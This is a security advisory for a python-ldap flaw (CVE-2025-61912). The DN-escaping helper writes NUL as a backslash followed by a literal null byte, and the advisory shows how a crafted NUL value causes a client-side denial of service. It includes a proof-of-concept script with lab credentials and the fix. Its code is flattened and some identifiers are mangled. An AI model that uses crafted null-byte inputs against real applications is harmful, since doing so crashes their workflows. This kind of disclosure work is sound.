CVE-2025-61912: python-ldap Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination

Summary

ldap.dn.escapednchars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escapednchars(s)

File: Lib/ldap/dn.py

Buggy behavior: For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., adds, modifys, renames, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

import ldap from ldap.dn import escapednchars, str2dn

l = ldap.initialize("ldap://10.0.1.11") # your lab DC/LDAP l.protocolversion = 3 l.setoption(ldap.OPTREFERRALS, 0) l.simplebinds(r"DSEC\dani.aga", "PassAa1")

--- Attacker-controlled value contains NUL --- cn = "bad\0name" escapedcn = escapednchars(cn) dn = f"CN={escapedcn},OU=Users,DC=dsec,DC=local" attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===") print("escapedcn repr:", repr(escapedcn)) print("dn repr:", repr(dn)) print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> adds(buggy DN): expected client-side failure (no server contact)") try: l.adds(dn, attrs) print("adds(buggy): succeeded (unexpected)") except Exception as e: print("adds(buggy):", type(e).name, e) # ValueError: embedded null character

--- Correct hex escape demonstrates the client proceeds to the server --- safedn = dn.replace("\x00", r"\00") # RFC 4514-compliant print("\n=== HEX-ESCAPED DN (\\00) ===") print("safedn repr:", repr(safedn)) print("=> sanity parse:", str2dn(safedn)) # parses locally

print("=> adds(safe DN): reaches server (AD will likely reject with 34)") try: l.adds(safedn, attrs) print("adds(safe): success (unlikely without required attrs/rights)") except ldap.LDAPError as e: print("adds(safe):", e.class.name, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

adds(buggy): ValueError embedded null character ← client-side DoS

adds(safe): INVALIDDNSYNTAX (result 34, BADNAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escapednchars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.